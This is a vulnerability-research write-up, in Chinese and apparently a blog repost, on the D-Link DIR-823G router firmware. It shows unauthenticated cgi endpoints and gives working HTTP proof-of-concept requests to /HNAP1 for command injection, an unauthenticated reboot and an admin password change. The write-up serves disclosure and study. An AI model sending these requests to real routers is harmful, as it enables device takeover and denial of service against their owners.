• Dlink DIR-823G 漏洞挖掘过程


    前言


    本文由 本人 首发于 先知安全技术社区: https://xz.aliyun.com/u/5274

    初步分析

    首先下载固件

    https://gitee.com/hac425/blog_data/blob/master/iot/DIR823GA1_FW102B03.bin
    

    binwalk 解开固件

    image.png

    发现这是一个 squashfs 文件系统,里面是标准的 linux 目录结构,所以这个固件应该是基于 linux 做的。

    首先看看 etc/init.d/rcS , 以确定路由器开启的服务。发现最后会开启一个 goahead 进程

    image.png

    goahead 是一个开源的 web 服务器,用户的定制性非常强。可以通过一些 goaheadapi定义 url 处理函数和可供 asp 文件中调用的函数,具体可以看看官方的代码示例和网上的一些教程。

    这些自定义的函数就很容易会出现问题,这也是我们分析的重点。

    模拟运行固件

    为了后续的一些分析,我们先让固件运行起来,可以使用

    https://github.com/attify/firmware-analysis-toolkit
    

    这个工具其实就是整合了一些其他的开源工具,使得自动化的程度更高,具体看工具的 readme.

    image.png

    运行起来后,首先可以用 nmap 扫一下端口,看看路由器开了哪些端口

    image.png

    可以看到目前就开了 http 服务 和 dns 服务。

    下面访问一下路由器的 web 接口

    image.png

    第一次访问路由器的 web 接口,就会要求用户做一些初始化设置,比如设置密码等。

    攻击面分析

    对于一个路由器,我的主要关注点有

    • 后门账户,默认密码
    • 敏感功能未授权访问
    • web 服务对各种请求的处理逻辑

    经过上面简单的分析,发现只有 httpdns 服务是暴露在外的。http 服务的第一次访问就会要求输入新密码,所以默认密码的问题也不存在。下面分析 web 服务的处理逻辑。

    经过简单的测试发现,web 目录应该是 web_mtn, 目录的结构如下

    image.png

    cgi 程序, 未授权访问

    其中 cgi-bin 目录下存放着一些 cgi 文件,这些 cgi 文件没有权限的校验,非授权用户也可以直接访问, 可能会造成比较严重的影响。

    /cgi-bin/ExportSettings.sh 导出配置文件(信息泄露)。

    image.png

    /cgi-bin/upload_settings.cgi 导入配置文件(恶意篡改配置)

    image.png

    /cgi-bin/GetDownLoadSyslog.sh 获取到系统的一些启动信息./var/log/messages*

    image.png

    /cgi-bin/upload_firmware.cgi 上传更新固件(恶意修改固件

    image.png

    goahead 中自定义的请求处理函数, 命令注入

    goahead 不仅支持 cgi 的方式处理用户请求,同时支持直接在 goahead 函数内部自己定义 url 的处理函数。

    比如

    websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
    websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);
    

    就代表

    • /goform 的请求交给 websFormHandler 函数处理
    • /cgi-bin 的请求交给 websCgiHandler 函数处理

    处理函数的参数列表为

    int websCgiHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, 
    		char_t *url, char_t *path, char_t* query)
    

    其中 wp 这个参数是一个比较复杂的结构体指针,里面保存了各种用户请求的信息,比如 cookie, 请求的数据等。固件中也对该结构体做了很大的改动。

    下面用 ida 打开固件中的 goahead 分析。

    image.png

    可以看到固件应该是被去掉了符号表。此时可以从字符串入手,可以通过 /cgi-bin 或者 /goform 找到定义 url 相应的处理函数的位置, 因为这两个是源码中默认有的。

    通过交叉引用,最后找到注册处理函数的位置 0x42424C

    image.png

    可以看到这里注册了很多处理函数,通过 ida 的分析很容易看出 websUrlHandlerDefine 的第一个参数为 url, 第四个参数应该就是相应 url 的处理函数。

    使用 burp 抓取登录的数据包,发现是往 /HNAP1 发送数据

    image.png

    下面分析分析 /HNAP1 处理函数的逻辑。 函数位于 0x42383C

    image.png

    这个函数的主要逻辑是从 wp 结构体中取出此次请求需要调用的函数名,然后去全局函数表里面搜索,找到之后在进行处理。

    其中函数表位于 0x058C560

    image.png

    函数表的每一项的结构应该是

    • 4 字节 函数名的字符串地址
    • 4 字节 函数的地址

    找到了需要调用的处理函数后,会首先记录 POST 的原始报文(通过运行过程查看日志文件,可以猜测出来)

    image.png

    这里记录日志采取的方式是 首先用 snprintf 生成命令, 然后使用 system 执行。我们可以直接注入 ' 来命令执行

    POC:

    POST /HNAP1/ HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 53
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
    Content-Type: text/xml; charset=UTF-8
    Accept: */*
    SOAPAction: "http://purenetworks.com/HNAP1/Login"
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Connection: close
    
    '`echo hacked_by_hac425!!!!!!!! > /web_mtn/hack.txt`'
    

    最后会写内容到 /web_mtn/hack.txt, 然后可以通过 web 访问

    image.png

    HNAP1 接口继续分析

    接着又接续分析了 /HNAP1 的处理,这个接口通过 soap 实现了 rpc 的功能,其中有的接口没有权限校验,会造成一些严重的问题。

    reboot 接口没有校验,可以不断重启 , ddos

    POST /HNAP1/ HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 298
    Origin: http://192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
    Content-Type: text/xml; charset=UTF-8
    Accept: */*
    X-Requested-With: XMLHttpRequest
    SOAPAction: "http://purenetworks.com/HNAP1/RunReboot"
    Referer: http://192.168.0.1/reboot.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Connection: close
    
    <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><RunReboot xmlns="http://purenetworks.com/HNAP1/" /></soap:Body></soap:Envelope>
    
    

    image.png

    修改密码接口,未授权访问,可修改密码

    POST /HNAP1/ HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 402
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
    Content-Type: text/xml; charset=UTF-8
    Accept: */*
    X-Requested-With: XMLHttpRequest
    SOAPAction: "http://purenetworks.com/HNAP1/SetPasswdSettings"
    Referer: http://192.168.0.1/account.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Connection: close
    
    <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetPasswdSettings xmlns="http://purenetworks.com/HNAP1/"><NewPassword>hackedbyhac425</NewPassword><ChangePassword>true</ChangePassword></SetPasswdSettings></soap:Body></soap:Envelope>
    

    管理员密码会被改成 hackedbyhac425.

  • 相关阅读:
    python实现求解列表中元素的排列和组合
    python3.7 安装dlib和face_recognition
    Python 魔法函数
    python的68个内置函数
    生成器和生成器函数,推倒式
    函数名的应用,闭包,迭代器
    函数的进阶(动态参数,命名空间和作用域,函数的嵌套,gloabal和nonlocal关键字)
    python 函数
    文件操作
    字典和列表的删除问题, 深浅拷贝
  • 原文地址:https://www.cnblogs.com/hac425/p/9734460.html
Copyright © 2020-2023  润新知